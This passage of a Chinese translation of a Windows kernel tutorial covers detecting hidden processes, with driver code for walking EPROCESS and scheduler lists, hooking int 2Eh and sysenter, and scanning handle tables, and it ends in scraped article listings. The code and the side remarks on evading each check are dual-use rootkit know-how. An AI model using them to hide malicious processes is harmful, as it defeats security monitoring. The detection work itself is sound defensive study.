          ReadProcessMemory(hProcess, ImagePath.Buffer, @ImgPath,
                            ImagePath.Length, Bytes) then
            begin
              Result := ExtractFileName(WideCharToString(ImgPath));
            end;
       end;
     CloseHandle(hProcess);
    end;

    自然,用户模式下的检测方法这里并未完全囊括。如果再动动脑子的话还可以想出其它一些新办法,但我们这里的方法目前已经够用了。它们的优点是编程容易,但是只能检测到在User Mode下拦截API以实现隐藏的进程或者是Kernel Mode下没隐藏好的进程。要想真正可靠的检测到隐藏进程,我们就需要编写驱动程序并与Windows内核数据结构打交道了。




    Kernel Mode detection

    现在我们来讨论在内核模式下检测隐藏进程。与用户模式下方法不同的是,我们现在不用通过API来获取进程列表,而是直接和内核数据结构打交道。想在这些手段下实现隐藏就更为困难了,因为要实现隐藏就需要从内核数据结构中清除进程所有的痕迹,这几乎是不可能的。

    从内部来看进程到底是什么?每一个进程都有自己的地址空间,自己的句柄,线程等等。这些都与相应的内核数据结构密切相关。每一个进程都是由EPROCESS结构体来描述的,所有进程的结构体链接成一个环形的双向链表。隐藏进程的一种办法就是修改链表中的指针,使在枚举进程时能绕过要隐藏的进程。不管进程是否被枚举出来,EPROCESS总是应该存在的,对于进程的运行这个结构体是必须的。大多数Kernel Mode下的检测隐藏进程的方法都与检测这个结构体有关。

    我们首先来定义所获取进程信息的保存格式。我们所用的格式应该能够方便的从驱动程序传递到应用程序。其结构如下:

    typedef struct _ProcessRecord
    {
        ULONG       Visibles;
        ULONG       SignalState;
            BOOLEAN     Present;
        ULONG       ProcessId;
        ULONG       ParrentPID;
        PEPROCESS   pEPROCESS;
        CHAR        ProcessName[256];
    } TProcessRecord, *PProcessRecord;

    这些结构体在内存中按顺序排列,最后一个结构体设置Present标志。


    在内核中使用ZwQuerySystemInformation获得进程列表

    我们先从简单的开始,使用ZwQuerySystemInformation获取进程列表:

    PVOID GetNativeProcessList(ULONG *MemSize)
    {
        ULONG PsCount = 0;
        PVOID Info = GetInfoTable(SystemProcessesAndThreadsInformation);
        PSYSTEM_PROCESSES Proc;
        PVOID Mem = NULL;
        PProcessRecord Data;

        if (!Info) return NULL; else Proc = Info;

        do
        {
            Proc = (PSYSTEM_PROCESSES)((ULONG)Proc + Proc->NextEntryDelta);   
            PsCount++;
        } while (Proc->NextEntryDelta);

        *MemSize = (PsCount + 1) * sizeof(TProcessRecord);

        Mem = ExAllocatePool(PagedPool, *MemSize);

        if (!Mem) return NULL; else Data = Mem;
       
        Proc = Info;
        do
        {
            Proc = (PSYSTEM_PROCESSES)((ULONG)Proc + Proc->NextEntryDelta);
            wcstombs(Data->ProcessName, Proc->ProcessName.Buffer, 255);
            Data->Present    = TRUE;
            Data->ProcessId  = Proc->ProcessId;
            Data->ParrentPID = Proc->InheritedFromProcessId;
            PsLookupProcessByProcessId((HANDLE)Proc->ProcessId, &Data->pEPROCESS);
            ObDereferenceObject(Data->pEPROCESS);
            Data++;
        } while (Proc->NextEntryDelta);

        Data->Present = FALSE;

        ExFreePool(Info);

        return Mem;
    }

    这个函数只是个样品,因为它检测不到任何使用Kernel Mode方法隐藏的进程。但是像hxdef这类的用户模式rootkit却可以检测到。

    为取得信息,这里使用了函数GetInfoTable。为了避免大家有疑问,我这里给出其完整代码:

    /*
      Получение буфера с результатом ZwQuerySystemInformation.
    */
    PVOID GetInfoTable(ULONG ATableType)
    {
        ULONG mSize = 0x4000;
        PVOID mPtr = NULL;
        NTSTATUS St;
        do
        {
            mPtr = ExAllocatePool(PagedPool, mSize);
            memset(mPtr, 0, mSize);
            if (mPtr)
            {
                St = ZwQuerySystemInformation(ATableType, mPtr, mSize, NULL);
            } else return NULL;
            if (St == STATUS_INFO_LENGTH_MISMATCH)
            {
                ExFreePool(mPtr);
                mSize = mSize * 2;
            }
        } while (St == STATUS_INFO_LENGTH_MISMATCH);
        if (St == STATUS_SUCCESS) return mPtr;
        ExFreePool(mPtr);
        return NULL;
    }

    我想,这个函数的思想理解起来并不难。


    从EPROCESS结构体双向链表中取得进程列表

    我们接着往下说。下一步就是遍历EPROCESS结构体双向链表来获取进程列表。该链表的链表头为PsActiveProcessHead,所以要想正确的枚举进程,我们首先需要找到这个未导出的符号。最简单的办法就是利用System是进程表中的第一个进程这个特点。我们需要在DriverEntry中使用PsGetCurrentProcess来得到当前进程的指针(使用SC Manager API或是ZwLoadDriver加载的驱动总是位于System的上下文中),偏移ActiveProcessLinks处的Blink就指向PsActiveProcessHead。其形式如下:

    PsActiveProcessHead = *(PVOID *)((PUCHAR)PsGetCurrentProcess + ActiveProcessLinksOffset + 4);

    现在可以遍历双向链表并建立进程列表了:

    PVOID GetEprocessProcessList(ULONG *MemSize)
    {
        PLIST_ENTRY Process;
        ULONG PsCount = 0;
        PVOID Mem = NULL;
        PProcessRecord Data;

        if (!PsActiveProcessHead) return NULL;

        Process = PsActiveProcessHead->Flink;

        while (Process != PsActiveProcessHead)
        {
            PsCount++;
            Process = Process->Flink;
        }

        PsCount++;

        *MemSize = PsCount * sizeof(TProcessRecord);

        Mem = ExAllocatePool(PagedPool, *MemSize);
        memset(Mem, 0, *MemSize);

        if (!Mem) return NULL; else Data = Mem;

        Process = PsActiveProcessHead->Flink;

        while (Process != PsActiveProcessHead)
        {
            Data->Present     = TRUE;
            Data->ProcessId   = *(PULONG)((ULONG)Process - ActPsLink + pIdOffset);
            Data->ParrentPID  = *(PULONG)((ULONG)Process - ActPsLink + ppIdOffset);
            Data->SignalState = *(PULONG)((ULONG)Process - ActPsLink + 4);
            Data->pEPROCESS   = (PEPROCESS)((ULONG)Process - ActPsLink);
            strncpy(Data->ProcessName, (PVOID)((ULONG)Process - ActPsLink + NameOffset), 16);       
            Data++;
            Process = Process->Flink;
       
        }

        return Mem;
    }

    为了取得进程名、Process Id和ParrentProcessId,我们使用EPROCESS结构体中域的偏移(pIdOffset、ppIdOffset、NameOffset、ActPsLink)。这些偏移对不同版本的Windows是不一样的,所以我们用一个独立的函数来取得这些偏移,该函数可以在Process Hunter的源代码中找到。

    这种方法可以找到所有利用API钩挂实现隐藏的进程。但如果进程使用了DKOM(Direct Kernel Object Manipulation)的方法来隐藏,则这种方法也就无能为力了,因为进程链表中已经找不到这个进程了。


    通过调度线程链表获取进程链表

    再有一种检测隐藏进程的方法就是通过调度线程链表来取得进程列表。在Windows 2000中有三个双向线程链表:KiWaitInListHead,KiWaitOutListHead和KiDispatcherReadyListHead。前两个链表包含的是等待某事件的线程,而第三个链表包含的是准备好执行的线程。遍历链表并减去ETHREAD结构体中的线程链表偏移,我们就得到了指向线程的ETHREAD的指针。这个结构体包含着几个指向该线程进程的指针,有struct _KPROCESS *Process (0x44, 0x150)和sruct _EPROCESS *ThreadsProcess (0x22C, Windows 2000下的偏移)。前两个指针并不影响线程的工作,所以很容易为实现隐藏而将其偷换。而第三个指针用在切换地址空间的调度中,所以不能够被替换。我们将用这个指针来确定拥有该线程的进程。

    klister程序使用的就是这种检测方法,其主要的缺点就是只能在Windows 2000(有的service pack也不行)上运行。造成这个缺陷的原因是,Klister对线程链表的地址进行了严密保护,而这个线程链表的地址几乎在所有的service pack上都不一样。

    在程序中保护链表的地址是一种很不好的方法,因为程序可能在后续版本的OS中不能工作,这就使得检测方法失效,所以链表的地址应该动态查找,这就要分析使用它们的函数的代码。

    首先,我们试着来在Windows 2000中找到KiWaitItListHead和KiWaitOutListHead。这些链表的地址用在KeWaitForSingleObject函数中,函数代码如下:

    .text:0042DE56                 mov     ecx, offset KiWaitInListHead
    .text:0042DE5B                 test    al, al
    .text:0042DE5D                 jz      short loc_42DE6E
    .text:0042DE5F                 cmp     byte ptr [esi+135h], 0
    .text:0042DE66                 jz      short loc_42DE6E
    .text:0042DE68                 cmp     byte ptr [esi+33h], 19h
    .text:0042DE6C                 jl      short loc_42DE73
    .text:0042DE6E                 mov     ecx, offset KiWaitOutListHead

    要取得这些链表的地址需要在KeWaitForSingleObject中进行长指令的反汇编(我们将使用我的LDasm),且有时指针(pOpcode)会在指令
    mov ecx, KiWaitInListHead里,则pOpcode + 5将指向test al, al,而pOpcode + 24指向mov ecx, KiWaitOutListHead。在这个地址之后KiWaitItListHead和KiWaitOutListHead分别由指针pOpcode + 1和pOpcode + 25取出。搜索这些地址的代码如下:

    void Win2KGetKiWaitInOutListHeads()
    {
        PUCHAR cPtr, pOpcode;
        ULONG Length;
       
        for (cPtr = (PUCHAR)KeWaitForSingleObject;
             cPtr < (PUCHAR)KeWaitForSingleObject + PAGE_SIZE;
                 cPtr += Length)
        {
            Length = SizeOfCode(cPtr, &pOpcode);

            if (!Length) break;
           
            if (*pOpcode == 0xB9 && *(pOpcode + 5) == 0x84 && *(pOpcode + 24) == 0xB9)
            {
                KiWaitInListHead  = *(PLIST_ENTRY *)(pOpcode + 1);
                KiWaitOutListHead = *(PLIST_ENTRY *)(pOpcode + 25);
                break;
            }
        }

        return;
    }

    在Windows 2000中找KiDispatcherReadyListHead用的也是同样的办法,这回在KeSetAffinityThread函数中找,形式如下:

    .text:0042FAAA                 lea     eax, KiDispatcherReadyListHead[ecx*8]
    .text:0042FAB1                 cmp     [eax], eax

    以下是搜索KiDispatcherReadyListHead的函数:

    void Win2KGetKiDispatcherReadyListHead()
    {
        PUCHAR cPtr, pOpcode;
        ULONG Length;
       
        for (cPtr = (PUCHAR)KeSetAffinityThread;
             cPtr < (PUCHAR)KeSetAffinityThread + PAGE_SIZE;
                 cPtr += Length)
        {
            Length = SizeOfCode(cPtr, &pOpcode);

            if (!Length) break;       

            if (*(PUSHORT)pOpcode == 0x048D && *(pOpcode + 2) == 0xCD && *(pOpcode + 7) == 0x39)
            {
                KiDispatcherReadyListHead = *(PVOID *)(pOpcode + 3);
                break;
            }
        }

        return;
    }

    遗憾的是,Windows XP与Windows 2000的内核相差很大。XP中的调度用的不是三个,而是两个线程链表:KiWaitListHead和KiDispatcherReadyListHead。KiWaitListHead可以通过用以下代码扫描KeDelayExecutionThread函数得到:

    .text:004055B5                 mov     dword ptr [ebx], offset KiWaitListHead
    .text:004055BB                 mov     [ebx+4], eax

    查找代码如下:

    void XPGetKiWaitListHead()
    {
        PUCHAR cPtr, pOpcode;
        ULONG Length;

        for (cPtr = (PUCHAR)KeDelayExecutionThread;
             cPtr < (PUCHAR)KeDelayExecutionThread + PAGE_SIZE;
                 cPtr += Length)
        {
            Length = SizeOfCode(cPtr, &pOpcode);

            if (!Length) break;

            if (*(PUSHORT)cPtr == 0x03C7 && *(PUSHORT)(pOpcode + 6) == 0x4389)
            {
                KiWaitInListHead = *(PLIST_ENTRY *)(pOpcode + 2);
                break;
            }
        }

        return;
    }

    最难的是找KiDispatcherReadyListHead。问题在于,KiDispatcherReadyListHead的地址并不在任何导出的函数中,所以要取得它就要使用更复杂的查找算法。查找将从KiDispatchInterrupt函数开始,对于这个函数我们只对一个地方感兴趣,就是下面的代码:

    .text:00404E72                 mov     byte ptr [edi+50h], 1
    .text:00404E76                 call    sub_404C5A
    .text:00404E7B                 mov     cl, 1
    .text:00404E7D                 call    sub_404EB9

    这段代码的第一个call指向对KiDispatcherReadyListHead进行引用的函数,但查找该地址的困难在于,其在函数中的位置在Winows XP SP1和SP2下是不一样的。在SP2中形式如下:

    .text:00404CCD                 add     eax, 60h
    .text:00404CD0                 test    bl, bl
    .text:00404CD2                 lea     edx, KiDispatcherReadyListHead[ecx*8]
    .text:00404CD9                 jnz     loc_401F12
    .text:00404CDF                 mov     esi, [edx+4]

    而在SP1中则为:

    .text:004180FE                 add     eax, 60h
    .text:00418101                 cmp     [ebp+var_1], bl
    .text:00418104                 lea     edx, KiDispatcherReadyListHead[ecx*8]
    .text:0041810B                 jz      loc_418760
    .text:00418111                 mov     esi, [edx]

    仅通过一个lea指令来找是不可靠的,所以我们还要用lea后的rel32偏移(LDasm中的IsRelativeCmd)来验证。查找KiDispatcherReadyListHead的完整代码如下:

    void XPGetKiDispatcherReadyListHead()
    {
        PUCHAR cPtr, pOpcode;
        PUCHAR CallAddr = NULL;
        ULONG Length;

        for (cPtr = (PUCHAR)KiDispatchInterrupt;
             cPtr < (PUCHAR)KiDispatchInterrupt + PAGE_SIZE;
                 cPtr += Length)
        {
            Length = SizeOfCode(cPtr, &pOpcode);

            if (!Length) return;

            if (*pOpcode == 0xE8 && *(PUSHORT)(pOpcode + 5) == 0x01B1)
            {
                CallAddr = (PUCHAR)(*(PULONG)(pOpcode + 1) + (ULONG)cPtr + Length);
                break;
            }
        }

        if (!CallAddr || !MmIsAddressValid(CallAddr)) return;

        for (cPtr = CallAddr; cPtr < CallAddr + PAGE_SIZE; cPtr += Length)
        {
            Length = SizeOfCode(cPtr, &pOpcode);

            if (!Length) return;

            if (*(PUSHORT)pOpcode == 0x148D && *(pOpcode + 2) == 0xCD && IsRelativeCmd(pOpcode + 7))
            {
                KiDispatcherReadyListHead = *(PLIST_ENTRY *)(pOpcode + 3);
                break;
            }
        }

        return;
    }

    在找到线程链表地址后,通过下面这个函数我们可以很容易的枚举出它们的进程:

    void ProcessListHead(PLIST_ENTRY ListHead)
    {
        PLIST_ENTRY Item;

        if (ListHead)
        {
            Item = ListHead->Flink;

            while (Item != ListHead)
            {
                CollectProcess(*(PEPROCESS *)((ULONG)Item + WaitProcOffset));
                Item = Item->Flink;
            }
        }

        return;
    }

    CollectProcess是向链表中添加进程的函数,如果还没有把它添加到那里的话。


    拦截系统调用获取进程列表

    任何工作着的进程都通过API与系统协作,大多数这类请求都会通过系统调用接口转入内核。当然进程也可以不调用API,但那就干不了什么有益(或是有害)的事了。一般说来,此方法的思想是在转向系统调用接口时将其拦截,在处理程序中获取指向当前进程EPROCESS的指针。

    windows 2000的系统调用使用中断2Eh,所以要拦截系统调用就需要修改idt中相应的描述符。为此需要首先使用sidt指令确定idt在内存中的位置。该指令返回以下结构体:

    typedef struct _Idt
    {
        USHORT Size;
        ULONG  Base;
    } TIdt;

    修改2Eh中断描述符的代码如下:

    void Set2kSyscallHook()
    {
        TIdt Idt;
        __asm
        {
            pushad
            cli
            sidt [Idt]
            mov esi, NewSyscall
            mov ebx, Idt.Base
            xchg [ebx + 0x170], si
            rol esi, 0x10
            xchg [ebx + 0x176], si
            ror esi, 0x10
            mov OldSyscall, esi
            sti
            popad
        }
    }

    自然,在卸载驱动的时候需要进行恢复:

    void Win2kSyscallUnhook()
    {
        TIdt Idt;
        __asm
        {
            pushad
            cli
            sidt [Idt]
            mov esi, OldSyscall
            mov ebx, Idt.Base
            mov [ebx + 0x170], si
            rol esi, 0x10
            mov [ebx + 0x176], si
            sti
            xor eax, eax
            mov OldSyscall, eax
            popad
        }
    }

    Windows XP使用新指令sysenter/sysexit来实现系统调用接口,这些指令是从Pentium 2处理器开始有的。这些指令操纵的是MSR寄存器。系统调用处理程序的地址保存在MSR寄存器SYSENTER_EIP_MSR(第0x176号)中。读MSR寄存器要用rdmsr指令,在使用此指令之前在ECX中应加载所要读取的寄存器号,执行结果返回到EDX:EAX中。我们这里的SYSENTER_EIP_MSR是32位的,所以EDX为0,而EAX中则为系统调用处理程序的地址。与之类似,使用wrmsr指令可以写入MSR寄存器。但存在一个容易出错的地方:在写32位MSR寄存器时,EDX应该清零,否则会引起异常并且系统会立即崩溃。

    综上所述,替换系统调用处理程序的代码如下:

    void SetXpSyscallHook()
    {
        __asm
        {
            pushad
            mov ecx, 0x176
            rdmsr
            mov OldSyscall, eax
            mov eax, NewSyscall
            xor edx, edx
            wrmsr
            popad
        }
    }

    恢复旧处理程序的代码:

    void XpSyscallUnhook()
    {
        __asm
        {
            pushad
            mov ecx, 0x176
            mov eax, OldSyscall
            xor edx, edx
            wrmsr
            xor eax, eax
            mov OldSyscall, eax
            popad
        }
    }

    Windows XP的特殊性在于,进行系统调用既可以通过sysenter也可以通过int 2Eh,所以我们需要替换两个处理程序。

    新的系统调用处理程序应该取得指向当前进程EPROCESS的指针,如果是新进程的话,就将这个进程添加到列表中。

    新系统调用处理程序形式如下:

    void __declspec(naked) NewSyscall()
    {
        __asm
        {
            pushad
            pushfd
            push fs
            mov di, 0x30
            mov fs, di
            mov eax, fs:[0x124]
            mov eax, [eax + 0x44]
            push eax
            call CollectProcess
            pop fs
            popfd
            popad
            jmp OldSyscall
        }
    }

    要想取得完整的进程列表,这段代码应该工作一段时间,而与之相应的就产生了以下的问题:如果位于列表中的进程之后被删除,则在后面扫描列表时就会得到不正确的指针,这样要么找到的是错误的隐藏进程,要么会发生BSOD。对这种情况的解决办法是注册一个PsSetCreateProcessNotifyRoutine类型的Callback函数,这个函数在进程创建和结束时都会被调用。进程结束时需要将其从列表中删除。此Callback函数原型如下:

    VOID
    (*PCREATE_PROCESS_NOTIFY_ROUTINE) (
        IN HANDLE  ParentId,
        IN HANDLE  ProcessId,
        IN BOOLEAN  Create
        );

    安装处理程序:

    PsSetCreateProcessNotifyRoutine(NotifyRoutine, FALSE);

    移除处理程序:

    PsSetCreateProcessNotifyRoutine(NotifyRoutine, TRUE);

    这里有一个需要注意的地方,Callback函数总是在结束的进程的上下文中调用,所以绝对不能直接进行进程的删除。对此需要使用system worker线程,首先使用IoAllocateWorkItem来为worker线程分配内存,之后使用IoQueueWorkItem将任务添加入队列。在处理程序中不仅要删除结束的进程,还要添加创建的进程。这里是处理程序的代码:

    void WorkItemProc(PDEVICE_OBJECT DeviceObject, PWorkItemStruct Data)
    {
        KeWaitForSingleObject(Data->pEPROCESS, Executive, KernelMode, FALSE, NULL);
     
        DelItem(&wLastItem, Data->pEPROCESS);

        ObDereferenceObject(Data->pEPROCESS);

        IoFreeWorkItem(Data->IoWorkItem);

        ExFreePool(Data);

        return;
    }


    void NotifyRoutine(IN HANDLE  ParentId,
                       IN HANDLE  ProcessId,
                       IN BOOLEAN Create)
    {
        PEPROCESS       process;
        PWorkItemStruct Data;

        if (Create)
        {
            PsLookupProcessByProcessId(ProcessId, &process);

            if (!IsAdded(wLastItem, process)) AddItem(&wLastItem, process);

            ObDereferenceObject(process);

        } else
        {
            process = PsGetCurrentProcess();
           
            ObReferenceObject(process);

            Data = ExAllocatePool(NonPagedPool, sizeof(TWorkItemStruct));

            Data->IoWorkItem = IoAllocateWorkItem(deviceObject);
           
            Data->pEPROCESS  = process;

            IoQueueWorkItem(Data->IoWorkItem, WorkItemProc, DelayedWorkQueue, Data);
        }

        return;
    }

    这种隐藏进程的检测方法十分可靠,因为没有进程能绕过系统调用,但是某些进程可能长时间处于等待状态并且不进行系统调用,这样的进程就无法检测到了。

    绕过这种检测方法也不复杂,对此需要修改隐藏进程执行系统调用的方法(改用其它中断或是用GDT中的call gate)。这在Windows XP尤其容易实现,因为patch掉ntdll.dll中的KiFastSystemCall并为系统调用建立相应的入口就足够了。在Windows 2000中就复杂些了,因为对int 2E的调用分散在ntdll中,但找到并patch掉所有这些地方也并非十分困难,所以检测的结果也是不能全信的。


    扫描句柄表获取进程列表

    如果使用将进程从PsActiveProcesses列表中删除的办法来隐藏进程,则一定要注意,在用ZwQuerySystemInformation枚举句柄的时候,隐藏进程的句柄也会被枚举出来,由此可确定其ProcessId。这种情形会发生是因为为了便于句柄的枚举,所有的句柄表都被连成了一个双向的链表HandleTableList。Windows 2000这个表在HANDLE_TABLE结构体的偏移0x054处,而在Windows XP中为0x01C,这个链表起始于HandleTableListHead。结构体HANDLE_TABLE包含有指向拥有此结构体的进程(QuotaProcess)的指针,在Windows 2000中该指针的偏移为0x00C,而在Windows XP则为0x004。通过扫描此句柄链表我们能建立起进程列表。首先我们需要找到HandleTableListHead。对内核的反汇编显示,对其的引用都位于深层函数之内,所以我们以前用过的借助于代码反汇编的搜索方法就完全不适合了。但是对于HandleTableListHead的搜索可以使用这样一个性质,HandleTableListHead是一个全局的内核变量,所以它位于其PE文件的某个section中,而HandleTableList的其余元素位于动态分配的内存中,所以它们位于文件之外。由此,我们需要取得指向任意进程HandleTable的指针,并沿链表移动,直到其成员不在内核PE文件之内为止。这个成员就是HandleTableListHead。为了在内存中找到内核文件的基址和界限,我们使用ZwQuerySystemInformation,信息类SystemModuleInformation。该函数返回系统加载模块的数组,其中第一个就是内核。综上所述,搜索HandleTableListHead的代码如下:

    void GetHandleTableListHead()
    {
        PSYSTEM_MODULE_INFORMATION_EX Info = GetInfoTable(SystemModuleInformation);
        ULONG NtoskrnlBase = (ULONG)Info->Modules[0].Base;
        ULONG NtoskrnlSize = Info->Modules[0].Size;
        PHANDLE_TABLE HandleTable = *(PHANDLE_TABLE *)((ULONG)PsGetCurrentProcess() + HandleTableOffset);
        PLIST_ENTRY HandleTableList = (PLIST_ENTRY)((ULONG)HandleTable + HandleTableListOffset);
        PLIST_ENTRY CurrTable;

        ExFreePool(Info);

        for (CurrTable = HandleTableList->Flink;
             CurrTable != HandleTableList;
             CurrTable = CurrTable->Flink)
        {
            if ((ULONG)CurrTable > NtoskrnlBase && (ULONG)CurrTable < NtoskrnlBase + NtoskrnlSize)
            {
                HandleTableListHead = CurrTable;
                break;
            }
        }   
    }
    这段代码通用性很好,因为它能在任何版本的Windows NT上运行,而且不止能用于搜索HandleTableListHead,还能搜索其它有类似结构的链表。

    在获得HandleTableListHead的地址之后,我们可以扫描句柄表并建立进程列表:

    void ScanHandleTablesList()
    {
        PLIST_ENTRY CurrTable;
        PEPROCESS QuotaProcess;

        for (CurrTable =  HandleTableListHead->Flink;
             CurrTable != HandleTableListHead;
             CurrTable =  CurrTable->Flink)
        {
            QuotaProcess = *(PEPROCESS *)((PUCHAR)CurrTable - HandleTableListOffset + QuotaProcessOffset);
            if (QuotaProcess) CollectProcess(QuotaProcess);
        }
    }
    使用这种检测方法的程序有F-Secure Black Light和上一版本的KProcCheck。如何绕过它呢?我想您已经猜到了吧。


    扫描PspCidTable获得进程列表

    通过在PsActiveProcesses中将自己删除从而

    展开全文
  • 侦测隐藏进程

    千次阅读 2008-03-27 22:43:00
    侦测隐藏进程Detection of the hidden processes俄语原文:http://wasm.ru/article.php?article=hiddndt俄文翻译:kaohttp://community.reverse-engineering.net/viewtopic.php?t=4685中文翻译: prince后期校验:...
  • 隐藏进程之内核版

    千次阅读 2019-04-09 21:48:33
    隐藏进程之内核版实现 隐藏进程通常出现在恶意程序中,隐藏的进程能让任务管理器、procexp等3环的程序无法找到它,那么如何实现隐藏进程呢? 由于对这方面还是很感兴趣,今天就来研究一下内核层的隐藏进程,首先在...
  • Windows 7 C 盘隐藏文件分析 删除

    千次阅读 2013-04-06 17:11:09
    本文所有测试在Windows7系统上测试通过。 在windows cmd中输入以下命令: C:\Users\dubo>cd .. C:\Users>cd .. C:\>dir /a 显示如下图所示:
  • 驱动层SSDT 隐藏进程

    千次阅读 2013-11-27 21:19:59
    闲着没事,便想在熟悉下之前看过的驱动编程相关知识,于是就写了这个简单的驱动曾隐藏进程程序。 要点: 在驱动层隐藏,主要还是使用SSDT挂钩的方法,相关知识,可以到网上查找,在隐藏进程时,为了能够隐藏多个...
  • hook ZwQuerySystemInformation 隐藏进程

    千次阅读 2012-10-22 12:42:13
    该程序可以通过hook ZwQuerySystemInformation来达到隐藏进程的功能。 // HideProcess.cpp : Defines the entry point for the console application. // #include "stdafx.h" #include //#inc
  • 检测隐藏进程 

    千次阅读 2006-11-09 15:05:00
    许多用户都有过用Windows自带的任务管理器查看所有进程的经验,并且很多人都认为在任务管理器中隐藏进程是不可能的。而实际上,进程隐 藏是再简单不过的事情了。有许多可用的方法和参考源码可以达到进程隐藏的目的。...
  • 内核层 inlinehook 隐藏进程

    千次阅读 2013-12-17 20:48:57
    上次是SSDT HOOK 方式 隐藏... 这次是InlineHook 方式隐藏进程,这里inline hook的原理就不做详细介绍了,网上相关资源较多,撸主主要参考看雪的某大牛的“详谈内核三步走Inline Hook实现”(http://bbs.pediy.com/s
  • ring0检测隐藏进程

    千次阅读 2007-11-27 12:54:00
    2007年8月26日 ring0检测隐藏进程标 题: 【原创】ring0检测隐藏进程作 者: 堕落天才时 间: 2007-05-10,13:28链 接: http://bbs.pediy.com/showthread.php?t=44243//网上得到一篇好文章 Ring0下搜索内存枚举隐藏...
  • 其实这个东西windows7 应该是没有问题的 但是听说windows10 是不行的 除了要摘链 还是去搞掉一张表 这个比较麻烦 还有一点要注意的是 我们这里的进程 结构体 不一定是其它系统的结构体 因为windows 不同的版本 ...
  • VB 枚举隐藏进程

    千次阅读 2007-10-09 16:33:00
    所以现在大部分隐藏进程的程序都可以有一一列出来.在有的机器上运行可能会出错.由于时间关系我只写了检查注释如果有不懂的大家请在这里留言我会一一作答.下面是VB源码:VERSION 5.00Begin VB.Form
  • 比如php-cgi的进程,我们在命令行下运行D:\php\php-cgi.exe -b 127.0.0.1:9000,命令行窗口一直开着,当我们关闭命令行窗口或按CTRL+C的时候,进程php-cgi也就关了。有些人通过RunHiddenConsole.exe来让php-cgi.exe...
  • 下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。 关键字:内核,拦截,活动进程链表,系统服务派遣表,线程调度链Abstract Nowadays, informati
  • Windows2000 内核级进程隐藏、侦测技术 指导老师:龙老师
  • [转载]侦测隐藏进程

    千次阅读 2006-11-05 21:19:00
    侦测隐藏进程Detection of the hidden processes俄语原文:http://wasm.ru/article.php?article=hiddndt俄文翻译:kaohttp://community.reverse-engineering.net/viewtopic.php?t=4685中文翻译: prince后期校验:...
  • icesword 是如何列出隐藏进程

    千次阅读 2006-01-30 00:19:00
    icesword 是如何列出隐藏进程? icesw
  • 侦测隐藏进程的强文

    千次阅读 2006-04-22 01:22:00
    http://wasm.ru/article.php?article=hiddndt俄文翻译:kaohttp://community.reverse-engineering.net/viewtopic.php?t=4685中文翻译: prince后期校验:firstrose=============================侦测隐藏进程[C]...
  • // Win7系统的定位代码如下: // 842b5827 8b3db45e1884 mov edi,dword ptr [nt!PspCidTable (84185eb4)] // 842b582d e8f96efdff call nt!ExMapHandleToPointer (8428c72b) for ( ULONG uIndex = 0; uIndex ;...
  • 目前发现的最强悍的VB隐藏进程方法

    千次阅读 2009-12-18 22:20:00
    VB隐藏进程问题的讨论由来已久,效果有好有坏,反正是各有各的招,偶然机会看到planet-source一段隐藏进程的文章,作者说采用了kernel mode driver!方法,单从技术方法而言,这是目前见到隐藏进程中最强悍的了(个人见解,...
  • Windows7下强制结束进程命令

    千次阅读 2014-08-05 13:47:12
    当前有很多病毒,都通过注入到系统进程的方式,来达到隐藏方式,它们一方面通过伪装自己的名称,让用户一时难以辨别,进而达到迷惑目的,包括伪装成一些系统进程文件等等,一方面通过一些保护方法,使我们无法通过...
  • 开机启动和隐藏进程作为两种程序设计基本技术为病毒程序广泛使用,本文在开机启动和隐藏进程代码实现的基础上对实现所用到的相关技术原理进行介绍。具体涉及到的相关技术包括服务的创建,进程快照的获取,以及进程的...
  • MFC隐藏进程 只要把cpp和h加入工程,include就可以了。 代码地址: //------------------HideProcess.h-------------------- //加入MFC工程调用即可 BOOL HideProcess(); //------------------Hide...
  • Ring3 下隐藏进程

    千次阅读 2007-10-10 15:01:00
    usesWindows,ImageHlp,TlHelp32;type SYSTEM_INFORMATION_CLASS = (SystemBasicInformation,SystemProcessorInformation,SystemPerformanceInformation,SystemTimeOfDayInformation,SystemNotImpleme
  • Windows2000 内核级进程隐藏、侦测技术 指导老师:龙老师 

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 60,661
精华内容 24,264
关键字:

windows7如何隐藏进程